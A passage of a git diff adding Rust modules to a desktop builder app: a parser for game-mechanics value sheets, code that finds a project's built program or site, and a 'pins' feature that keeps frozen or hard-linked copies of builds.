"rifle damage"). + pub name: String, + /// What it belongs to ("movement", "rifle"), or empty. + #[serde(default, skip_serializing_if = "String::is_empty")] + pub group: String, + pub value: MechanicValue, + #[serde(default, skip_serializing_if = "String::is_empty")] + pub unit: String, + /// Where it came from: a file in the original's folder, a function address or an evidence + /// id. Empty for an estimate. + #[serde(default, skip_serializing_if = "String::is_empty")] + pub source: String, + /// Guessed rather than found (from pictures, play or documentation). + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub estimated: bool, +} + +impl Mechanic { + /// Neither a source nor marked as an estimate. + pub fn unsourced(&self) -> bool { + self.source.trim().is_empty() && !self.estimated + } +} + +/// A number, a piece of text ("hold to crouch") or a switch. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(untagged)] +pub enum MechanicValue { + Flag(bool), + Number(f64), + Text(String), +} + +/// Why a sheet can't be used. +#[derive(Debug, Clone, PartialEq)] +pub enum SheetProblem { + Missing, + TooLarge, + /// Not JSON, or not this shape: the parser's reason. + Unreadable(String), + /// Written for a newer REI Reverse Engineer. + Newer(u32), + /// No values. + Empty, +} + +/// Read a sheet from `path`. Values past [`MAX_VALUES`] are dropped. +pub fn read(path: &Path) -> Result { + let Ok(meta) = std::fs::metadata(path) else { return Err(SheetProblem::Missing) }; + if meta.len() > MAX_BYTES { + return Err(SheetProblem::TooLarge); + } + let bytes = std::fs::read(path).map_err(|_| SheetProblem::Missing)?; + parse(&bytes) +} + +/// Parse a sheet's bytes. +pub fn parse(bytes: &[u8]) -> Result { + let mut sheet: Mechanics = serde_json::from_slice(bytes).map_err(|e| SheetProblem::Unreadable(e.to_string()))?; + if sheet.version > MECHANICS_VERSION { + return Err(SheetProblem::Newer(sheet.version)); + } + sheet.values.truncate(MAX_VALUES); + if sheet.values.is_empty() { + return Err(SheetProblem::Empty); + } + Ok(sheet) +} + +/// The JSON Schema of `mechanics.json` as published in `docs/schemas/mechanics.schema.json`. +pub fn mechanics_schema() -> String { + let schema = schemars::generate::SchemaSettings::draft2020_12().into_generator().into_root_schema_for::(); + serde_json::to_string_pretty(&schema).map(|s| s + "\n").unwrap_or_default() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_sheet_reads_numbers_text_and_switches() { + let s = parse( + br#"{"values": [ + {"name": "walk speed", "group": "movement", "value": 4.5, "unit": "m/s", "source": "function 0x140012a0"}, + {"name": "crouch", "value": "hold", "estimated": true}, + {"name": "friendly fire", "value": false} + ]}"#, + ) + .unwrap(); + assert_eq!(s.version, MECHANICS_VERSION, "a missing version is the current one"); + assert_eq!(s.values[0].value, MechanicValue::Number(4.5)); + assert_eq!(s.values[1].value, MechanicValue::Text("hold".into())); + assert_eq!(s.values[2].value, MechanicValue::Flag(false)); + assert!(!s.values[0].unsourced() && !s.values[1].unsourced() && s.values[2].unsourced()); + } + + #[test] + fn bad_sheets_say_why() { + assert!(matches!(parse(b"{"), Err(SheetProblem::Unreadable(_)))); + assert!(matches!(parse(br#"{"values": [{"name": "x"}]}"#), Err(SheetProblem::Unreadable(_))), "a value is required"); + assert_eq!(parse(br#"{"values": []}"#), Err(SheetProblem::Empty)); + assert_eq!(parse(br#"{"version": 9, "values": []}"#), Err(SheetProblem::Newer(9))); + let dir = tempfile::tempdir().unwrap(); + assert_eq!(read(&dir.path().join(MECHANICS)), Err(SheetProblem::Missing)); + let big = dir.path().join("big.json"); + std::fs::write(&big, vec![b' '; (MAX_BYTES + 1) as usize]).unwrap(); + assert_eq!(read(&big), Err(SheetProblem::TooLarge)); + } + + #[test] + fn the_published_schema_is_current() { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("../../docs/schemas/mechanics.schema.json"); + let published = std::fs::read_to_string(path).unwrap_or_default().replace("\r\n", "\n"); + assert!(published == mechanics_schema(), "docs/schemas/mechanics.schema.json is stale: run `cargo xtask schemas`"); + } +} diff --git a/desktop/crates/engine/src/outputs.rs b/desktop/crates/engine/src/outputs.rs new file mode 100644 index 0000000..096ac1f --- /dev/null +++ b/desktop/crates/engine/src/outputs.rs @@ -0,0 +1,231 @@ +//! Finding what a project's build produced: the built site, the program, and what "Play" starts. + +use std::path::{Path, PathBuf}; + +/// Where a built site lives in `app`: a build folder with index.html, else a plain static site. +/// An Electron app's bundled page is its window, not a site. +pub fn site_dir(app: &Path) -> Option { + if uses_electron(app) { + return None; + } + for d in ["dist", "build", "out"] { + let p = app.join(d); + if p.join("index.html").is_file() { + return Some(p); + } + } + (app.join("index.html").is_file() && !app.join("package.json").exists()).then(|| app.to_path_buf()) +} + +/// The program a Rust build in `app` made, so a finished game or app can be started. A workspace +/// often builds several (the app, its CLI, tools), so the project's own Cargo.toml files decide: +/// its `default-run`, then a program whose package uses a window or game library, then the root +/// package's; the newest build of that program wins (release or debug). Only when the manifests +/// name no programs is it the newest executable. Build scripts and dependencies live in +/// subfolders and are skipped, and so are stray copies (`app.running-123.exe`) of a declared one. +/// shortcut: assumes the default target dir; read `cargo metadata` if a project ever moves it. +pub fn built_program(app: &Path) -> Option { + if !app.join("Cargo.toml").is_file() { + return None; + } + let built: Vec = ["release", "debug"] + .iter() + .filter_map(|d| std::fs::read_dir(app.join("target").join(d)).ok()) + .flatten() + .flatten() + .map(|e| e.path()) + .filter(|p| p.is_file() && is_program(p)) + .collect(); + let newest = |ps: &mut dyn Iterator| ps.max_by_key(|p| p.metadata().and_then(|m| m.modified()).ok()).cloned(); + let stem = |p: &Path| p.file_stem().and_then(|s| s.to_str()).map(str::to_string).unwrap_or_default(); + let wanted = cargo_programs(app); + if wanted.is_empty() { + return newest(&mut built.iter()); + } + wanted.iter().find_map(|name| newest(&mut built.iter().filter(|p| stem(p) == *name))) +} + +/// Libraries that put a window on screen: a package using one makes the program to start. +const WINDOW_CRATES: &[&str] = &[ + "eframe", + "egui", + "winit", + "macroquad", + "bevy", + "iced", + "slint", + "ggez", + "fltk", + "gtk", + "gtk4", + "tauri", + "sdl2", + "minifb", + "pixels", + "glium", + "raylib", + "notan", + "fyrox", + "nannou", + "druid", + "xilem", + "dioxus", + "floem", + "piston_window", + "tetra", + "comfy", + "miniquad", + "softbuffer", +]; + +/// The programs `app`'s Cargo manifests declare, best first (see [`built_program`]). +fn cargo_programs(app: &Path) -> Vec { + let read = |dir: &Path| -> Option { std::fs::read_to_string(dir.join("Cargo.toml")).ok()?.parse().ok() }; + let Some(root) = read(app) else { return Vec::new() }; + // The packages: the root's (if it has one) first, then the workspace members. + let mut dirs = vec![app.to_path_buf()]; + let members = root.get("workspace").and_then(|w| w.get("members")).and_then(|m| m.as_array()).cloned().unwrap_or_default(); + for m in members.iter().filter_map(|m| m.as_str()) { + match m.strip_suffix("/*") { + Some(parent) => { + let mut found: Vec = + std::fs::read_dir(app.join(parent)).into_iter().flatten().flatten().map(|e| e.path()).filter(|p| p.join("Cargo.toml").is_file()).collect(); + found.sort(); + dirs.extend(found); + } + None if m != "." => dirs.push(app.join(m)), + None => {} + } + } + let mut default_run = Vec::new(); + let mut windowed = Vec::new(); + let mut root_bins = Vec::new(); + let mut other = Vec::new(); + for (i, dir) in dirs.iter().enumerate() { + let Some(t) = read(dir) else { continue }; + let Some(pkg) = t.get("package").and_then(|p| p.as_table()) else { continue }; + let mut bins: Vec = t + .get("bin") + .and_then(|b| b.as_array()) + .map(|bs| bs.iter().filter_map(|b| b.get("name")?.as_str().map(str::to_string)).collect()) + .unwrap_or_default(); + if bins.is_empty() + && dir.join("src").join("main.rs").is_file() + && let Some(name) = pkg.get("name").and_then(|n| n.as_str()) + { + bins.push(name.to_string()); + } + if let Some(d) = pkg.get("default-run").and_then(|d| d.as_str()) { + default_run.push(d.to_string()); + } + // [dependencies] and per-platform [target.'cfg(..)'.dependencies]. + let per_target = t.get("target").and_then(|x| x.as_table()).into_iter().flat_map(|ts| ts.values().filter_map(|v| v.get("dependencies"))); + let uses_window = + t.get("dependencies").into_iter().chain(per_target).filter_map(|d| d.as_table()).any(|d| d.keys().any(|k| WINDOW_CRATES.contains(&k.as_str()))); + if uses_window { + windowed.extend(bins.iter().cloned()); + } + if i == 0 { root_bins.extend(bins) } else { other.extend(bins) } + } + let mut out: Vec = Vec::new(); + for name in default_run.into_iter().chain(windowed).chain(root_bins).chain(other) { + if !out.contains(&name) { + out.push(name); + } + } + out +} + +/// What "Play" starts for a finished game or app: (program, arguments), run from app/. A Godot +/// project opens in the Godot it was built with, an Electron app in the Electron it installed. +pub fn launch(app: &Path, godot: Option<&Path>) -> Option<(PathBuf, Vec)> { + if app.join("project.godot").is_file() { + return godot.map(|g| (g.to_path_buf(), vec!["--path".to_string(), app.display().to_string()])); + } + if uses_electron(app) { + return electron_program(app).map(|e| (e, vec![app.display().to_string()])); + } + built_program(app).or_else(|| packaged_program(&app.join("Build"))).map(|p| (p, Vec::new())) +} + +/// The packages `app`'s package.json depends on (dev dependencies too); none without a readable one. +pub fn npm_dependencies(app: &Path) -> Vec { + let pkg: Option = std::fs::read(app.join("package.json")).ok().and_then(|b| serde_json::from_slice(&b).ok()); + ["dependencies", "devDependencies"].iter().filter_map(|k| pkg.as_ref()?.get(k)?.as_object()).flat_map(|d| d.keys().cloned()).collect() +} + +fn uses_electron(app: &Path) -> bool { + npm_dependencies(app).iter().any(|d| d == "electron") +} + +/// The Electron that `npm install` put in `app`'s node_modules. +fn electron_program(app: &Path) -> Option { + let dist = app.join("node_modules").join("electron").join("dist"); + let program = if cfg!(windows) { + dist.join("electron.exe") + } else if cfg!(target_os = "macos") { + dist.join("Electron.app").join("Contents").join("MacOS").join("Electron") + } else { + dist.join("electron") + }; + program.is_file().then_some(program) +} + +/// The game a Unity or Unreal build packaged into `dir` (newest; crash reporters skipped). +pub fn packaged_program(dir: &Path) -> Option { + let mut best: Option<(std::time::SystemTime, PathBuf)> = None; + let mut stack = vec![(dir.to_path_buf(), 0)]; + while let Some((d, depth)) = stack.pop() { + for e in std::fs::read_dir(&d).into_iter().flatten().flatten() { + let p = e.path(); + if p.is_dir() { + if depth < 4 { + stack.push((p, depth + 1)); + } + continue; + } + let name = p.file_name().and_then(|n| n.to_str()).unwrap_or_default().to_ascii_lowercase(); + let helper = ["crashreport", "crashhandler", "crashpad", "-cmd", "unrealpak", "shadercompile"].iter().any(|s| name.contains(s)); + let at = e.metadata().and_then(|m| m.modified()).unwrap_or(std::time::UNIX_EPOCH); + if is_program(&p) && !helper && best.as_ref().is_none_or(|(b, _)| at > *b) { + best = Some((at, p)); + } + } + } + best.map(|(_, p)| p) +} + +#[cfg(all(test, unix))] +mod tests { + use super::packaged_program; + use std::os::unix::fs::PermissionsExt; + use std::time::{Duration, UNIX_EPOCH}; + + #[test] + fn packaged_program_finds_executable_with_crash_in_name() { + let build = tempfile::tempdir().unwrap(); + let reporter = build.path().join("CrashReportClient"); + let game = build.path().join("CrashSample"); + std::fs::write(&reporter, b"reporter").unwrap(); + std::fs::write(&game, b"game").unwrap(); + for path in [&reporter, &game] { + std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + std::fs::File::open(&reporter).unwrap().set_times(std::fs::FileTimes::new().set_modified(UNIX_EPOCH + Duration::from_secs(1))).unwrap(); + std::fs::File::open(&game).unwrap().set_times(std::fs::FileTimes::new().set_modified(UNIX_EPOCH + Duration::from_secs(2))).unwrap(); + + assert_eq!(packaged_program(build.path()), Some(game)); + } +} + +/// Whether `p` is a program this computer can start. +#[cfg(windows)] +pub fn is_program(p: &Path) -> bool { + p.extension().is_some_and(|e| e.eq_ignore_ascii_case("exe")) +} + +#[cfg(unix)] +pub fn is_program(p: &Path) -> bool { + use std::os::unix::fs::PermissionsExt; + p.extension().is_none() && p.metadata().is_ok_and(|m| m.permissions().mode() & 0o111 != 0) +} diff --git a/desktop/crates/engine/src/pins.rs b/desktop/crates/engine/src/pins.rs new file mode 100644 index 0000000..8b28d31 --- /dev/null +++ b/desktop/crates/engine/src/pins.rs @@ -0,0 +1,875 @@ +//! Pinned builds: a build of a project kept at hand, to open whatever the builder does next. +//! +//! ```text +//! /pinned/ +//! /pin.json the pin (name, frozen or light, the round it was pinned at) +//! /app/ a pin's copy of the app: its files and the program, without what a +//! build makes again +//! /last-run.log what it printed the last time it was opened +//! play.log the same for Play +//! ``` +//! +//! A **frozen** pin (the default) runs its own copy, so a rebuild can't change or break it, and a +//! running copy never locks the files the builder replaces. A **light** pin copies the program +//! and the app's code the same way but hard-links its dependencies and media to the project's, so +//! those take no more space. A rebuild replaces or deletes files, which leaves the pin's as they +//! were; only a file rewritten in place changes in both. Programs a pin or Play started are kept +//! in [`Runs`], one at a time per folder unless another is asked for. + +use crate::inbox::now_ms; +use crate::versioned; +use crate::workspace::{self, Workspace}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use craft_anything_platform::sync::Mutex; +use craft_anything_platform::{Ended, Launch, Launched}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use std::collections::HashMap; +use std::path::{Path, PathBuf}; +use std::sync::PoisonError; +use std::time::Duration; + +/// The folder in a project that holds its pins. +pub const PINNED: &str = "pinned"; +pub const PIN_FILE: &str = "pin.json"; +/// The current `pin.json` format version. +pub const PIN_VERSION: u32 = 2; +/// Version 2 remembers the program selected for an argument-free launch inside the copied app. +const PIN_STEPS: &[versioned::Step] = &[pin_v1_to_v2]; + +fn pin_v1_to_v2(doc: &mut Value) -> Result<(), String> { + let object = doc.as_object_mut().ok_or_else(|| "a pin must be an object".to_string())?; + object.insert("program".into(), Value::Null); + Ok(()) +} +const _: () = assert!(PIN_STEPS.len() as u32 + 1 == PIN_VERSION, "one step per pin.json version after the first"); +/// A start that ends within this long is reported as having quit straight away. +pub const QUICK_EXIT: Duration = Duration::from_secs(2); +/// Most pins one project keeps. +const MAX_PINS: u32 = 999; +/// How much of the end of a run's log is read back. +const TAIL_BYTES: u64 = 8 * 1024; +const TAIL_LINES: usize = 20; +/// Inside a folder a copy leaves out, the folders where a start needs only the files beside its +/// program (a Rust build's `target/release/`); in any other (`node_modules` for Electron) it needs +/// the whole folder. +const PROGRAM_FILES_ONLY: &[&str] = &["target"]; +/// Never copied into a pin. +const NEVER_COPIED: &[&str] = &[".git"]; +/// What a compiler leaves beside a program that nothing needs to run it. Debug symbols alone were +/// 85% of a typical Rust pin (a 242 MB `.pdb` beside a 49 MB program). +const NOT_NEEDED_TO_RUN: &[&str] = &["pdb", "ilk", "exp", "lib", "d", "rlib", "rmeta"]; +/// File kinds a program only reads, which a light pin shares with the project. What a program may +/// write to (a save, a database) isn't here: a pin writing to a shared file would change the +/// project's. +const SHARED_KINDS: &[&str] = &[ + "png", "jpg", "jpeg", "webp", "gif", "tga", "dds", "ktx", "ktx2", "exr", "hdr", "mp3", "ogg", "wav", "flac", "mp4", "webm", "mov", "glb", "gltf", "fbx", + "obj", "ttf", "otf", "woff", "woff2", "pak", "pck", +]; + +/// How a pin keeps its build. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum PinMode { + /// Its own copy of the build, which nothing else changes (the default). + #[default] + Frozen, + /// Its own program and code, sharing dependencies and media with the project. + Light, + /// The project's app where it is, as the latest build left it. No longer made (it only + /// opened what Play opens); pins already saved this way still work. + Live, +} + +impl PinMode { + /// Has a folder of its own to run from. + pub fn keeps_copy(self) -> bool { + self != PinMode::Live + } +} + +/// One pin (`pinned//pin.json`). +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct Pin { + pub version: u32, + pub id: u32, + pub name: String, + pub mode: PinMode, + pub created_ms: u64, + /// The build round it was pinned at, when the project had checked one. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub round: Option, + /// What its copy takes on disk. + #[serde(default)] + pub bytes: u64, + /// What a light pin shares with the project. + #[serde(default)] + pub shared_bytes: u64, + /// The selected program relative to the copied app, for a launch without arguments. + /// Older pins and launches through an external runtime keep the existing discovery path. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub program: Option, +} + +impl Pin { + pub fn dir(&self, ws: &Workspace) -> PathBuf { + pin_dir(ws, self.id) + } + + /// The folder its program runs from: its copy, or the project's app for a live pin. + pub fn app_dir(&self, ws: &Workspace) -> PathBuf { + match self.mode { + PinMode::Frozen | PinMode::Light => self.dir(ws).join("app"), + PinMode::Live => ws.app_dir(), + } + } + + pub fn log_path(&self, ws: &Workspace) -> PathBuf { + self.dir(ws).join("last-run.log") + } + + /// Resolve the recorded program within the copy; old pins retain their discovery behavior. + pub(crate) fn launch(&self, ws: &Workspace, godot: Option<&Path>) -> Result<(PathBuf, Vec), ToolError> { + let app = self.app_dir(ws); + if self.mode.keeps_copy() + && let Some(relative) = &self.program + { + if relative.as_os_str().is_empty() || !relative.components().all(|part| matches!(part, std::path::Component::Normal(_))) { + return Err(ToolError::invalid("The pin's recorded program must be a relative path inside its app.")); + } + let program = app.join(relative); + if !program.is_file() || !crate::outputs::is_program(&program) { + return Err(ToolError::new(ErrorCode::NotFound, "The program recorded by this pin is missing or cannot be started.") + .with_remediation("Restore the pin's program or pin a working build again.")); + } + let resolved = program.canonicalize().map_err(|e| ToolError::io(program.display(), e))?; + let root = app.canonicalize().map_err(|e| ToolError::io(app.display(), e))?; + if !resolved.starts_with(root) { + return Err(ToolError::invalid("The pin's recorded program points outside its app.")); + } + return Ok((program, Vec::new())); + } + crate::outputs::launch(&app, godot).ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, "There's nothing to start: no built program in this pin.") + .with_remediation("Pin a working build or open the folder to look.") + }) + } +} + +fn pin_dir(ws: &Workspace, id: u32) -> PathBuf { + ws.root.join(PINNED).join(id.to_string()) +} + +/// Where Play's output goes. +pub fn play_log(ws: &Workspace) -> PathBuf { + ws.root.join(PINNED).join("play.log") +} + +/// Read a `pin.json` of any version this build understands; a newer one is read as far as its +/// fields are known. +pub fn read_pin(bytes: &[u8]) -> Result { + let mut doc: Value = serde_json::from_slice(bytes).map_err(|e| ToolError::invalid(format!("it isn't valid JSON: {e}")))?; + let found = doc.get("version").and_then(Value::as_u64).and_then(|n| u32::try_from(n).ok()).unwrap_or(1); + if found <= PIN_VERSION { + let reached = versioned::upgrade(&mut doc, found, 1, PIN_STEPS).map_err(|e| ToolError::invalid(format!("it couldn't be brought up to date: {e}")))?; + if let Some(obj) = doc.as_object_mut() { + obj.insert("version".into(), Value::from(reached)); + } + } + serde_json::from_value(doc).map_err(|e| ToolError::invalid(e.to_string())) +} + +fn save(ws: &Workspace, pin: &Pin) -> Result<(), ToolError> { + let json = serde_json::to_vec_pretty(pin).map_err(|e| ToolError::internal(e.to_string()))?; + crate::project::write_atomic(&pin.dir(ws).join(PIN_FILE), &json) +} + +/// A project's pins, oldest first. Folders without a readable pin.json (a copy still being made, +/// or one that stopped part-way) are skipped. +pub fn list(ws: &Workspace) -> Vec { + let mut pins: Vec = std::fs::read_dir(ws.root.join(PINNED)) + .into_iter() + .flatten() + .flatten() + .filter(|e| e.file_name().to_str().is_some_and(|n| n.parse::().is_ok())) + .filter_map(|e| std::fs::read(e.path().join(PIN_FILE)).ok()) + .filter_map(|b| read_pin(&b).ok()) + .collect(); + pins.sort_by_key(|p| p.id); + pins +} + +pub fn get(ws: &Workspace, id: u32) -> Result { + list(ws) + .into_iter() + .find(|p| p.id == id) + .ok_or_else(|| ToolError::new(ErrorCode::NotFound, format!("This project has no pin {id}.")).with_remediation("Use project_pins_list to see its pins.")) +} + +/// What a pin of the project's build would take. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize)] +pub struct Size { + /// A frozen copy. + pub bytes: u64, + pub files: u64, + /// A light copy. + pub light_bytes: u64, +} + +/// One file of a pin's copy. +struct Planned { + from: PathBuf, + to: PathBuf, + len: u64, + /// A light pin may share it with the project. + shared: bool, +} + +/// What a copy of `app` keeps of the folders a copy normally leaves out, for its start. +enum Keep { + Whole(PathBuf), + FilesIn(PathBuf), +} + +/// What a pin copies: the app without what a build makes again, the project's own records (an app +/// edited in place) or `.git`; plus what starting it needs from those folders. +struct Plan { + app: PathBuf, + keep: Vec, + /// The program's folder: what's in it is always copied, since a running program locks it. + program_dir: Option, +} + +impl Plan { + fn new(ws: &Workspace, program: &Path) -> Plan { + let app = ws.app_dir(); + let mut keep = Vec::new(); + if let Ok(rel) = program.strip_prefix(&app) + && let Some(first) = rel.components().next() + { + let top = app.join(first); + let only_files = first.as_os_str().to_str().is_some_and(|n| PROGRAM_FILES_ONLY.contains(&n)); + match program.parent() { + Some(dir) if only_files => keep.push(Keep::FilesIn(dir.to_path_buf())), + _ if workspace::rebuilt(&top) => keep.push(Keep::Whole(top)), + _ => {} + } + } + // A Godot project runs from its imported resources. + let imported = app.join(".godot"); + if app.join("project.godot").is_file() && imported.is_dir() { + keep.push(Keep::Whole(imported)); + } + Plan { app, keep, program_dir: program.parent().map(Path::to_path_buf) } + } + + /// Every (file, where it goes under `to`) the copy makes, in order. + fn files(&self, ws: &Workspace, to: &Path) -> Result, ToolError> { + let (mut own, mut dependencies) = (Vec::new(), Vec::new()); + let skip = |p: &Path| { + workspace::rebuilt(p) || ws.is_own_record(p) || p.file_name().and_then(|n| n.to_str()).is_some_and(|n| NEVER_COPIED.contains(&n)) || stray_copy(p) + }; + walk(&self.app, to, &skip, 0, &mut own)?; + for k in &self.keep { + let (from, whole) = match k { + Keep::Whole(d) => (d, true), + Keep::FilesIn(d) => (d, false), + }; + let rel = from.strip_prefix(&self.app).map_err(|_| ToolError::internal("a kept folder isn't inside the app"))?; + if whole { + walk( + from, + &to.join(rel), + &|p| p.file_name().and_then(|n| n.to_str()).is_some_and(|n| NEVER_COPIED.contains(&n)) || stray_copy(p), + 0, + &mut dependencies, + )?; + } else { + for e in std::fs::read_dir(from).map_err(|e| ToolError::io(from.display(), e))?.flatten() { + if let Ok(m) = e.metadata() + && m.is_file() + && !compiler_leftover(&e.path()) + && !stray_copy(&e.path()) + { + own.push((e.path(), to.join(rel).join(e.file_name()), m.len())); + } + } + } + } + let beside_program = |p: &Path| p.parent() == self.program_dir.as_deref(); + let media = |p: &Path| p.extension().and_then(|e| e.to_str()).is_some_and(|e| SHARED_KINDS.contains(&e.to_ascii_lowercase().as_str())); + let own = own.into_iter().map(|f| (f, true)); + let dependencies = dependencies.into_iter().map(|f| (f, false)); + Ok(own + .chain(dependencies) + .map(|((from, to, len), is_own)| { + let shared = !beside_program(&from) && (!is_own || media(&from)); + Planned { from, to, len, shared } + }) + .collect()) + } +} + +fn compiler_leftover(p: &Path) -> bool { + let kind = p.extension().and_then(|e| e.to_str()).is_some_and(|e| NOT_NEEDED_TO_RUN.contains(&e.to_ascii_lowercase().as_str())); + kind || p.file_name().and_then(|n| n.to_str()).is_some_and(|n| n.starts_with(".cargo-")) +} + +/// An old copy of a program, left behind when a build replaced one that was running +/// (`snake.running-144900.exe`): a pin copies the program, not each copy of it. It only counts as +/// one when the program it copies is still beside it, so a helper that happens to be named like +/// one stays. +fn stray_copy(p: &Path) -> bool { + let Some(name) = p.file_name().and_then(|n| n.to_str()) else { return false }; + let Some((base, rest)) = name.rsplit_once(".running-") else { return false }; + let (digits, ext) = rest.split_once('.').map_or((rest, None), |(d, e)| (d, Some(e))); + if base.is_empty() || digits.is_empty() || !digits.bytes().all(|b| b.is_ascii_digit()) { + return false; + } + let original = match ext { + Some(e) => format!("{base}.{e}"), + None => base.to_string(), + }; + let original = p.with_file_name(original); + original.is_file() && crate::outputs::is_program(&original) +} + +/// How deep a copy goes. +const WALK_DEPTH: usize = 64; + +fn walk(from: &Path, to: &Path, skip: &dyn Fn(&Path) -> bool, depth: usize, out: &mut Vec<(PathBuf, PathBuf, u64)>) -> Result<(), ToolError> { + if depth > WALK_DEPTH { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{} is nested more than {WALK_DEPTH} folders deep.", from.display()))); + } + for entry in std::fs::read_dir(from).map_err(|e| ToolError::io(from.display(), e))? { + let entry = entry.map_err(|e| ToolError::io(from.display(), e))?; + let (path, kind) = (entry.path(), entry.file_type().map_err(|e| ToolError::io(entry.path().display(), e))?); + if skip(&path) || kind.is_symlink() { + continue; + } + let dest = to.join(entry.file_name()); + if kind.is_dir() { + walk(&path, &dest, skip, depth + 1, out)?; + } else if kind.is_file() { + out.push((path, dest, entry.metadata().map(|m| m.len()).unwrap_or(0))); + } + } + Ok(()) +} + +/// What there is to start in `app`: the program and its arguments (see `outputs::launch`). A +/// website isn't pinned yet. +fn start_of(app: &Path, godot: Option<&Path>) -> Result<(PathBuf, Vec), ToolError> { + if crate::outputs::site_dir(app).is_some() { + return Err(ToolError::unsupported("This project made a website, and websites can't be pinned yet.").with_remediation("Use project_preview to see it.")); + } + crate::outputs::launch(app, godot).ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, "There's nothing to pin yet: no built program in this project.") + .with_remediation("Finish a build first (rebuild), then pin it.") + }) +} + +/// What a pin of the project's current build would take on disk. +pub fn estimate(ws: &Workspace, godot: Option<&Path>) -> Result { + let (program, _) = start_of(&ws.app_dir(), godot)?; + let files = Plan::new(ws, &program).files(ws, Path::new(""))?; + let bytes = |only_copied: bool| files.iter().filter(|f| !(only_copied && f.shared)).fold(0u64, |n, f| n.saturating_add(f.len)); + Ok(Size { bytes: bytes(false), files: files.len() as u64, light_bytes: bytes(true) }) +} + +/// Pin the project's current build. `progress(done, total)` hears how far the copy is (bytes) and +/// stops it by returning false, which removes what was copied. +pub fn create(ws: &Workspace, mode: PinMode, name: Option<&str>, godot: Option<&Path>, progress: &mut dyn FnMut(u64, u64) -> bool) -> Result { + if !mode.keeps_copy() { + return Err(ToolError::invalid("Live pins aren't made any more: one only opened the latest build, as Play does.") + .with_remediation("Pin it as frozen or light.")); + } + let (program, args) = start_of(&ws.app_dir(), godot)?; + let recorded_program = if args.is_empty() { program.strip_prefix(ws.app_dir()).ok().map(Path::to_path_buf) } else { None }; + let parent = ws.root.join(PINNED); + std::fs::create_dir_all(&parent).map_err(|e| ToolError::io(parent.display(), e))?; + let mut id = list(ws).iter().map(|p| p.id).max().unwrap_or(0).saturating_add(1); + // create_dir (not _all) fails if the folder exists, so two pins never share one. + let dir = loop { + let d = parent.join(id.to_string()); + match std::fs::create_dir(&d) { + Ok(()) => break d, + Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists && id < MAX_PINS => id += 1, + Err(e) => return Err(ToolError::io(d.display(), e)), + } + }; + let round = ws.manifest.checks.iter().map(|c| c.round).max(); + let project = ws.manifest.name.as_str(); + let name = match (name.map(str::trim).filter(|n| !n.is_empty()), round) { + (Some(n), _) => n.to_string(), + (None, Some(r)) => format!("{project} · round {r}"), + (None, None) => format!("{project} · pin {id}"), + }; + let mut pin = Pin { version: PIN_VERSION, id, name, mode, created_ms: now_ms(), round, bytes: 0, shared_bytes: 0, program: recorded_program }; + let made = (|| { + (pin.bytes, pin.shared_bytes) = copy(ws, &program, &pin.app_dir(ws), mode, progress)?; + pin.launch(ws, godot)?; + save(ws, &pin) + })(); + if let Err(e) = made { + // Nothing half-made stays behind: no pin.json means no pin, and the copy goes. + if let Err(rm) = std::fs::remove_dir_all(&dir) { + log::warn!("a pin that wasn't finished couldn't be removed from {}: {rm}", dir.display()); + } + return Err(e); + } + Ok(pin) +} + +/// Make a pin's copy; what it took and what it shares. A file that can't be linked (a drive +/// without hard links, a file with as many as it can have) is copied. +fn copy(ws: &Workspace, program: &Path, to: &Path, mode: PinMode, progress: &mut dyn FnMut(u64, u64) -> bool) -> Result<(u64, u64), ToolError> { + let files = Plan::new(ws, program).files(ws, to)?; + let total = files.iter().fold(0u64, |n, f| n.saturating_add(f.len)); + let (mut done, mut shared) = (0u64, 0u64); + for f in &files { + if !progress(done, total) { + return Err(ToolError::new(ErrorCode::Cancelled, "Pinning was stopped; nothing was kept.")); + } + if let Some(d) = f.to.parent() { + std::fs::create_dir_all(d).map_err(|e| ToolError::io(d.display(), e))?; + } + if mode == PinMode::Light && f.shared && std::fs::hard_link(&f.from, &f.to).is_ok() { + shared = shared.saturating_add(f.len); + } else { + std::fs::copy(&f.from, &f.to).map_err(|e| { + ToolError::io(f.from.display(), e) + .with_remediation("Check there's room on the drive for the copy, or pin it as a light copy, which takes less.") + })?; + } + done = done.saturating_add(f.len); + } + progress(total, total); + Ok((total.saturating_sub(shared), shared)) +} + +/// Give a pin a new name. +pub fn rename(ws: &Workspace, id: u32, name: &str) -> Result { + let name = name.trim(); + if name.is_empty() { + return Err(ToolError::invalid("A pin needs a name.")); + } + let mut pin = get(ws, id)?; + pin.name = name.to_string(); + save(ws, &pin)?; + Ok(pin) +} + +/// Remove a pin and its copy, with anything it saved there; what it shared stays with the project. +pub fn delete(ws: &Workspace, id: u32) -> Result<(), ToolError> { + let pin = get(ws, id)?; + let dir = pin.dir(ws); + // pin.json first: a delete that stops part-way leaves no half-pin in the list. + let file = dir.join(PIN_FILE); + std::fs::remove_file(&file).map_err(|e| ToolError::io(file.display(), e))?; + std::fs::remove_dir_all(&dir).map_err(|e| ToolError::io(dir.display(), e).with_remediation("Close what it opened, then remove it again.")) +} + +/// The last lines a run printed. +pub fn tail(log: &Path) -> String { + use std::io::{Read, Seek, SeekFrom}; + let Ok(mut f) = std::fs::File::open(log) else { return String::new() }; + let len = f.metadata().map(|m| m.len()).unwrap_or(0); + if f.seek(SeekFrom::Start(len.saturating_sub(TAIL_BYTES))).is_err() { + return String::new(); + } + let mut buf = Vec::new(); + if f.take(TAIL_BYTES).read_to_end(&mut buf).is_err() { + return String::new(); + } + let text = String::from_utf8_lossy(&buf); + let lines: Vec<&str> = text.lines().filter(|l| !l.trim().is_empty()).collect(); + 